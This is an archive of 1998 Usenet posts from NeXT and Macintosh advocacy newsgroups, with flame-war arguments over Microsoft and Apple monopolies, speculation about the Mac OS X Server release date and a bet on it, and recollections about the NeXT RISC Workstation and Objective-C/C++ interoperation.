Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: don@misckit.com
Don Yacktman may or may not have said:
[snip]
-> What you can't do is have Objective-C subclasses of C++ objects or C++
-> subclasses of Objective-C objects. And object has to be _either_ C++ _or_
it
-> can be a mix of Objective-C, Perl, Python, TCL, Java, and WebScript. But
-> there's a pretty solid line drawn around C++ and the rest--call it a
-> quarantine if you wish.
Actually Don, that's not *entirely* true.
Back at JP Morgan, I came up with a scheme whereby an object could be *both*
an Objective-C object, and a C++ object. All that's required to make this
happen, is that the object in question *must* have an isa pointer (which
binds it to its Obj-C class), and then it's also got to be blessed into some
C++ class. It's perfectly workable, BTW, for a C++ constructor method to
invoke an Objective-C [[... alloc] init], and return the result of that as
the result of the C++ constructor. Alternatively, you can explicitly bless()
your ID variables to make the compiler cope with C++ method calls to them.
I eventually talked the client out of using C++ on the project, but it *can*
be done. It just *shouldn't* be done, since C++ is a complete train wreck of
a language.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 23:10:13 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> >>In fact, just Microsoft should be illegal.
> >
> >My my my, you are a macsheep! Baaaa.... take away microsoft's constitutional
> >rights.... Baaaaaaaaaaaa.....
> >
> >You should read the constitution someday.
> >
> And you should read the anti-trust laws.
Really?
I didnt realize their was anything in the constitution making microsoft illegal
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 12:17:55 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909981217550001@166-93-57-192.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>
NNTP-Posting-Date: 19 Sep 1998 18:15:23 GMT
In article <macghod-1709982310130001@sdn-ar-001casbarp293.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > >>In fact, just Microsoft should be illegal.
> > >
> > >My my my, you are a macsheep! Baaaa.... take away microsoft's
constitutional
> > >rights.... Baaaaaaaaaaaa.....
> > >
> > >You should read the constitution someday.
> > >
> > And you should read the anti-trust laws.
>
> Really?
> I didnt realize their was anything in the constitution making microsoft
illegal
Where did he say anything about the constitution? He specifically stated
"anti-trust" laws.
Josh
From: antwun@yahoo.com (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 17:04:07 GMT
Organization: ...
Message-ID: <360ce2bf.11533800@news.alt.net>
References: <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net>
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"Todd Arneson" <s124@[REMOVE]earthlink.net> wrote:
>Jerry M. wrote in message ...
>>In article <6tu5m3$lik$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>><s124@[REMOVE]earthlink.net> wrote:
>>
>>> Joe Ragosta wrote in message ...
>>> >In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>>> ><s124@[REMOVE]earthlink.net> wrote:
>>> >
>>> >> Donald Brown wrote in message ...
>>> >> >In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd
>Arneson"
>>> >> ><s124@[REMOVE]earthlink.net> wrote:
>>> >> >
>>> >> >>Jerry M. wrote in message ...
>>> >> >>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>>> >> >>><dan@knowspaam.com> wrote:
>>> >> >>>
>>> >> >>>> A quick remider to you all...
>>> >> >>>> It is _not_ illegal to have a monopoly.
>>> >> >>>
>>> >> >>>No, but it should be.
>>> >> >>>
>>> >> >>>In fact, just Microsoft should be illegal.
>>> >> >>
>>> >> >>My my my, you are a macsheep! Baaaa.... take away microsoft's
>>> >> constitutional
>>> >> >>rights.... Baaaaaaaaaaaa.....
>>> >> >>
>>> >> >>You should read the constitution someday.
>>> >> >>
>>> >> >And you should read the anti-trust laws.
>>> >>
>>> >>
>>> >> But the "anti trust" laws are unconstitutional!!!!!!! The constitution
>>> has
>>> >> superiority over ANY laws. Like I said, read the constitution someday.
>>> >
>>> >Really? I guess I missed the part of the Constitution giving companies
>the
>>> >right to run roughshod over their competition and monopolize the economy
>>> >of the country.
>>>
>>> So? If people didn't like the products, they wouldn't buy them!!!
>>
>>And what people will HAVE TO BUY when there will be no other alternatives?
>>
>>The freedom to choose what you want will be skipped. See the point?
>
>
>There is plunty of compition to Microsoft. Unix, Linux, OS2, MacOS, BeOS,
>heck, even DR-DOS if you wanted to.
>
Yep, and Dr-Dos is free, It has multitasking, and the same company
even makes a dos based web browser that runs in 4 megs of ram. I
swear! All these MacSheep(TM) can do is whine.
--
vapor
From: j_doe@flunku.edu (Hosebag)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Fri, 18 Sep 1998 01:45:38 -0500
Organization: Airnews.net! at Internet America
Message-ID: <240E165487EB2E4A.DAF2C457DBA6FC67.964F9B89442A2ACD@library-proxy.airnews.net>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <35FE903C.1867FF38@nstar.net> <6tmi5t$opj$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6torv3$4n4$2@ironhorse.plsys.co.uk>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Fri Sep 18 01:45:40 1998
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In article <6torv3$4n4$2@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <35FED2E8.45754EB7@nstar.net> "Michael J. Peck" wrote:
>
> > There is little compelling proof for MacOS X Server's existence or
> > release that was not also available for Copland. There was a complete
> > MacOS 8 section on Apple's Website (mind you, a *very* different MacOS 8
> > than Apple has ever shipped).
> >
> Well, obviously I wasn't around for Copland, however I can certainly assert
> that what I see from Apple gives every indication that it's still full steam
> ahead on MacOS X, with a FCS date in the October timeframe.
>
> mmalc.
What exactly do you see? I don't have access to a dev edition and have to
wait, but I don't see anything from apple. Their website is seldom updated-
no new info since august 19? There is almost no news anywhere on the net
that I can find. Andrew Stone and Scott Anguish had been posting info on
stepwise's website, but that has slowed to a trickle, none of the mac sites
act like it even exists. I called apples store today to see if they would
take advance orders- to no avail. They didn't have any info on a ship date.
I'm beginning to think it may be dead.
Hope I'm completely wrong
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 10:57:15 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com>
NNTP-Posting-Date: 19 Sep 1998 16:54:43 GMT
In article <6tupg9$6fb$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net>,
> >macghod@concentric.net (Steve Sullivan) wrote:
> >OK. The more appropriate analogy is that Compaq has a monopoly of the
> >Presario market and IBM has a monopoly on the ThinkPad market. It's the
> >same thing. And it's a meaningless statement.
>
> Wrong. There is a PC market, and there is a Mac market. The Mac is a
> platform, the PC is a platform. The Presario isn't a platform. The ThinkPad
> isn't a platform. The very same software that runs on the ThinkPad, runs on
> the Presario, and vise-versa. There is no PC monopoly. You buy a computer to
> run software. If that software can run on another system, then there's no
> monopoly. If I need to run Electric Image, I must buy an Apple Macintosh. If
> I need to run 3D Studio Max, I can buy an IBM, a Compaq, a Dell, a Gateway,
> or any other machine from many manufacturers.
God you people are stupid!
Are you saying that Sun has a monopoly? What about SGI? What about HP?
All these companies make their own computers without allowing clones (Sun
at one time did but I believe has stopped that practice). Are you going
to tell me, with a straight face, that all these companies have a monopoly
because they are the only producers of their respective computers? That
should be good for a laugh.
Joe's right...just because Apple is the only manufacturer of the Macintosh
doesn't make them a monopoly.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 10:59:51 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909981059520001@166-93-69-218.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net>
NNTP-Posting-Date: 19 Sep 1998 16:57:20 GMT
In article <joe.ragosta-1909980716260001@elk86.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> How many times does this need to be explained to you?
>
> Go to the U.S. Trademark office and look up "Macintosh". It's the name of
> a specific line of computers manufactured by Apple computer.
You know what's scary Joe? The fact that these people argue that they
made a rational choice is choosing the PC. They've clearly demonstrated
that rational thought is beyond their comprehension.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 11:02:07 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1909981102070001@166-93-69-218.rmi.net>
References: <35f981c1.4716408@news.alt.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tmd2j$145@newsb.netnews.att.com> <35FEC87E.D36A6CA0@nstar.net> <6tmm88$1k7@newsb.netnews.att.com> <3602774C.86319AFB@nstar.net>
NNTP-Posting-Date: 19 Sep 1998 16:59:35 GMT
In article <3602774C.86319AFB@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> > The Rolex brand name is probably extremely relevant to the Rolex watch
> > value -- another brand name on the exactly same watch may not command the
> > same price. But it is not that value that is relevant to the definition of
> > monopoly. Is there something with the same utility and functionality ?
> > If you can show any such examples as you suggest exist, it would be
> > extremely interesting. If you can show any Macintosh users in this
> > situation, I think Apple would be extremely interested to know that.
>
> Now I'm left wondering how Microsoft has a monopoly on operating
> systems, since alternatives with the "same utility and functionality"
> exist...
Because having a monopoly doesn't mean that no other alternatives exist.
Josh
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Fri, 18 Sep 1998 16:44:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tu2m7$2ar$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <35FE903C.1867FF38@nstar.net> <6tmi5t$opj$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6torv3$4n4$2@ironhorse.plsys.co.uk> <240E165487EB2E4A.DAF2C457DBA6FC67.964F9B89442A2ACD@library-proxy.airnews.net> <6ttq8h$7b4$1@news.xmission.com>
don@misckit.com wrote:
> * mmalc works for P&L Systems, a third party which sells Mesa, a Yellow Box
> spreadsheet app
> * every version of NEXTSTEP and OPENSTEP since the 3.x days has tended to
> ship with a third party apps demo disk packed in; even Rhapsody DR1 had one
> * it takes about a month to press and package a run of CDs the size of what
> you'd expect Apple to start with
> * there is going to be, about a month before release of Mac OS X Server, a
> deadline which the third party folks have to meet if they want to get stuff
> onto that demo disk
> Looking back at what mmalc is saying, it seems reasonable to at least
> _suspect_ that the deadline has come and gone, which would be the most likely
> indicator to a third party that Apple is approximately a month away from
> customer availability.
Well, that would be consistent with a lot of Yellowbox developers suddenly
reappearing on this site in the last few days, after quite long absences in
many cases.
> Sure, from your point of view that's all conjecture and speculation, but it
> isn't entirely unwarranted. Greg Anderson, another YB third party app
> developer, and mmalc are very united on the shipping time frame, so I'd think
> this is a defensible speculation.
Plausible, yes. But how ludicrous that we should be left making this kind of
speculation...
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Nextworld EXPO '93 on NPR
Newsgroups: comp.sys.next.advocacy
Message-ID: <3603fcec.0@news.depaul.edu>
Date: 19 Sep 98 18:50:20 GMT
Today on 'This American Life', a weekly NPR radio show,
the theme is 'conventions'. One of the people speaking
is John Perry Barlow, dicussing NeXTWorld Expo '93, and
the contrast between the NeXTers (described as Unix geeks
in Armani) and the attendees of the concurrent psychiatrist
convention. Not much about NeXT, he mostly talks about
a woman he met there.
See http://www.thislife.org/ for local broadcast info. It
should also be on in Chicago 9/27 at 5:00 on WBEZ.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Sat, 19 Sep 1998 19:04:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u0v7o$27e$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se> <6tqmr6$4n4$4@ironhorse.plsys.co.uk> <36011AEE.592D3F05@nstar.net> <6tt8th$4n4$5@ironhorse.plsys.co.uk> <36026D3B.7E36A98F@nstar.net>
[Hmm, looks like my newsfeed's even worse than usual -- I haven't seen half
the messages in this thread before :-( Well, actually, given the general SNR
that's probably overall a good thing, but...]
In article <36026D3B.7E36A98F@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> mmalcolm crawford wrote:
> > What has this to do with *release*? I'm not bothered *where* it will,
> > sell, I'm bothered about whether it will be *publicly available as a
> > non-beta product*. My suspicion, Greg's comments notwithstanding, is
> > that it will only be available direct from Apple or from Apple
> > resellers. This, however, has nothing to do with the spirit of
> > the bet.
> >
> > So are you on or not?
>
> Pshewwwww...fine.
>
Do we need any further clarification of the meaning of "ship", or are you
happy with the definition I've given (i.e. publicly available for sale --
whether direct from Apple or from resellers -- as a non-beta version)?
[...]
> Everyone relax. The bet is on, let's both be gentlemen about it.
>
OK, so how do we sort out logistics?
I'm happy for Greg to act as broker, however I'd understand if you weren't.
If you're not, is there any other mutually-acceptable third party?
In light of the problems I seem to be having with the news provider, could I
ask you please to cc any replies to me by email so I don't miss out on
anything?
mmalc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Sat, 19 Sep 1998 19:14:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u0vqr$327$1@nnrp1.dejanews.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com> <rmcassid-1709981726120001@hephaestus.eng.uci.edu>
In article <rmcassid-1709981726120001@hephaestus.eng.uci.edu>,
> A suggestion: We've had *WAY* too many conversations with Apple and
> OpenStep supporters of Mac OS X Server, and YB, and WOF, and EOF, that
> go roughly like this:
>
> Interested party: "What does <product xxx> do for me?"
>
> In-the-know party: "Well, what do you want to do? It'll do it."
>
<sigh> True -- I noticed that a while back...
http://www.stepwise.com/Articles/Editorial/Fusion.html
One suggestion I made for Stepwise recently was to try to write up a number
of case studies showing how YB/OPENSTEP had been of value in a project. The
problem here is that often companies are unwilling to let others know how a
solution has been provided... however if anyone has any experiences they wish
to share, please let me/us know.
Best wishes,
mmalc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 19 Sep 1998 19:27:26 GMT
Organization: Michigan State University
Message-ID: <6u10iu$gb4$4@msunews.cl.msu.edu>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
<6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com>
<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
<6tpffs$2fc$3@msunews.cl.msu.edu> <6tpjf0$18r$3@news.xmission.com>
<1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net> <6u0401$mim$1@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6u0401$mim$1@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> In <1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net> Mike Paquette wrote:
> > [1] There's one of these beasts still in operation running a prerelease
> > of NeXTSTEP 3.0 compiled for the processor with a custom kernel and
> > other tweaks.
> >
> Hmm, I wonder whose desk it's on...?!
> I don't suppose you could take a photo of it Mike? It'd be wonderful just to
> see what it looked like...
>
If anyone can get some photos/scans to me I'd really appreciate it - inside
and out. I suspect probably more than one prototype (the 88110, and the 601).
I'd have to ask one of the guys who actually worked on this project for
a definative answer on this one though. And no he doesn't have one.
BTW: Based on discussions with Moose I'm rather sure NeXT would have
sold over a million of the NRW's from 93-96 - probably more..
Just too bad I guess.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Sat, 19 Sep 1998 19:22:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u10ab$3dr$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <35FE903C.1867FF38@nstar.net> <6tmi5t$opj$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6torv3$4n4$2@ironhorse.plsys.co.uk> <240E165487EB2E4A.DAF2C457DBA6FC67.964F9B89442A2ACD@library-proxy.airnews.net>
In article
<240E165487EB2E4A.DAF2C457DBA6FC67.964F9B89442A2ACD@library-proxy.airnews.net
>,
> What exactly do you see?
>
To be fair, probably more than most people.
> Andrew Stone and Scott Anguish had been posting info on
> stepwise's website,
>
Actually I help with that too! :-) My talents seem to be more in editing
than in creating original text, though -- for this sort of thing anyway.
> but that has slowed to a trickle,
>
We've come in for some criticism for that, which hurts.
We can't create news if there isn't any -- and there just isn't much real
news (or at least reportable real news) about at the moment;
We can't invent articles without someone writing them.
If anyone wants to write article, please feel free to contact us.
> none of the mac sites act like it even exists.
>
That's their problem: in some respects that a Good Thing, since few of them
seem to really understand the technology, and I'd rather nothing was said
than the sort of claptrap I've seen from some of the sites was spread about.
I suspect the fact that some of the folks don't understand the technology,
and perhaps don't know the right people in Apple to talk to about it (since
they're usually ex-NeXT), has something to do with their silence.
> I'm beginning to think it may be dead.
>
> Hope I'm completely wrong
>
You're completely wrong. :-)
Best wishes,
mmalc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 19 Sep 1998 19:35:06 GMT
Organization: Michigan State University
Message-ID: <6u111a$gb4$5@msunews.cl.msu.edu>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
<6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com>
<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
<6tpffs$2fc$3@msunews.cl.msu.edu> <6tpjf0$18r$3@news.xmission.com>
<1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net>
Mime-Version: 1.0
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Cc: mpaque@wco.com
In <1dfjnm0.11ahe4i1xxlnpsN@h209-21-28-6.ncal.verio.net> Mike Paquette wrote:
> Don Yacktman <don@misckit.com> wrote:
>
> > There's an old post to one of the NeXT groups from a NeXT enginerr--might
> > have been Mike P., in fact, that said it is much more than just flipping a
> > switch at compile time, and that SMP is very non trivial to get working.
> > Especially if there is no standard and you have to do a driver for each of
> > many possible motherboards.
>
> Or lots and lots of standards, one per chipset...
Why not just pick a rather common one? Say Intel 440BX? ;)
Though Apple doesn't seem interested in x86 anything at the moment.
> > Basically the answer was to the question of why SMP hadn't been turned on for
> > Pentium or better systems with multiple processors. The answer had to do
> > with the fact that, at least at the time, there was no discernible "standard"
> > to code to, and that it would cost too much development time to be worth
> > doing for the small number of copies that would actually make use of it...
>
> There's also a bit of performance degradation when running a SMP kernel
> on a uniprocessor, from slightly longer code paths and the presence of
> multiprocessor locks.
Yeah but if it's only the kernel why not have a switch in the boot command
that would toggle 'which' kernel to run. Gee one could even auto probe
for how many cpu's.. Given one knows the chipset how hard can this
be.
> > > As to the NUMA AMP. Fascinating. I wonder if Mike P. will chime
> > > in here and correct or confirm this (not that I doubt you - just like
> > > to have independant opinions).
> >
> > There's also the NRW--NeXT Risc Workstation--that was to be based on the 88k
> > series. I think that this one was assymetrical, too, even though it had two
> > 88k's in it. One handled DPS primarily, while the other ran all the other
> > code.
>
> The NeXT Risc Workstation is a full SMP system [1], originally built
> around 88110 chips and later reworked to use 601 processors. The system
> is symmetrical. The myth that one processor ran DPS whil the other ran
> apps came from a misinterpretation of an observation we made that, due
> to the asynchronous nature of our Display PostScript implementation, a
> graphics intensive app such as XoX.app tended to park it's drawing
> thread on one CPU, while the Display PostScript thread tended to park
> itself on the other. In Mach terms, both processors were part of the
> same processor set, and the scheduler behaved as expected.
>
> [1] There's one of these beasts still in operation running a prerelease
> of NeXTSTEP 3.0 compiled for the processor with a custom kernel and
> other tweaks.
Thanks MIke for the info - when I get back to working on the NeXT part
of my site I'll include this information. If you could include some kind
of historical dates of interest on this project I'm sure people would be
thankful. I have another source so I can cross-check with him also.
BTW: If you know where or who has access to the NRW please let
me know I'd like to get some good images of it (150-300dpi scans
of photos in and out). Or just forward my e-mail address to whomever
has access to the box. I plan on heading west on a trip and can bring
a camera ;)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Sat, 19 Sep 1998 19:32:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6u10st$416$1@nnrp1.dejanews.com>
References: <6ttq8h$7b4$1@news.xmission.com> <6ttqom$had@shelob.afs.com> <6tuamp$7b4$2@news.xmission.com>
In article <6tuamp$7b4$2@news.xmission.com>,
> Both you and mmalc are posting to the group again, and it has been a
> while since we've seen you two post as much prose as the past few days.
> Why, it is as if you just finished a big project and suddenly have a
> little time on your hands (like a "breather" between releases). I can
> only think of one deadline that really exists for both you and P&L
> systems simultaneously at this stage of the game, and that's the third
> party disk which I'd expect to see ship with Mac OS X...
>
Fascinating reasoning Don. Completely wrong, but fascinating! :-)
For me, sadly, it's the opposite: I've had so much to do for the last couple
of weeks that reading/posting has been almost the only relaxation I've had
(apart from rehearsals for the next play -- I've been cast as Charles in
Blithe Spirit), and I do often treat it as relaxation. I just happen not to
have looked in on csna for a while because it's become depressingly noisy.
Ho hum.
Best wishes,
mmalc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Sat, 19 Sep 1998 18:29:49 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1909981829490001@elk70.dol.net>
